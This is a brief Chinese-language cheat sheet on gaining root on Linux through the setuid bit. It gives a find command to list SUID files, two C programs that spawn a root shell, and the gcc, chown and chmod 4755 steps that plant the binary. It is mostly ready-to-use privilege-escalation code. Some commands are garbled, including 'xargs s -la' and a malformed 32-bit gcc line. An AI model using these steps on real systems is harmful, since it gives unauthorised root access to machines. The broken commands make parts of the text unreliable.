查找存在强制位的文件
find / -perm -4000 2>/dev/null | xargs s -la
脚本编译
编写一个C脚本,内容如下:
int main(void){setuid(0);setgid(0);system("/bin/bash");}
使用gcc编译
gcc getuid.c -o setuid#32位(报错时 apt install gcc-multilib)gcc -m32 -o setuid
修改所有者为root
chown root:root setuid
修改权限为4755,普通用户执行后,通过强制位获取root权限。
chmod 4755 setuid
另一个脚本
#include <stdio.h>#include <stdlib.h>#include <unistd.h>int main ( int argc, char *argv[] ){setreuid(0,0);execve("/bin/sh", NULL, NULL);}
利用
该方法主要用于结合有脚本能以root权限创建创建文件和修改文件权限时,用于提权到root。
参考:Linux强制位 /doiido/article/details/43794029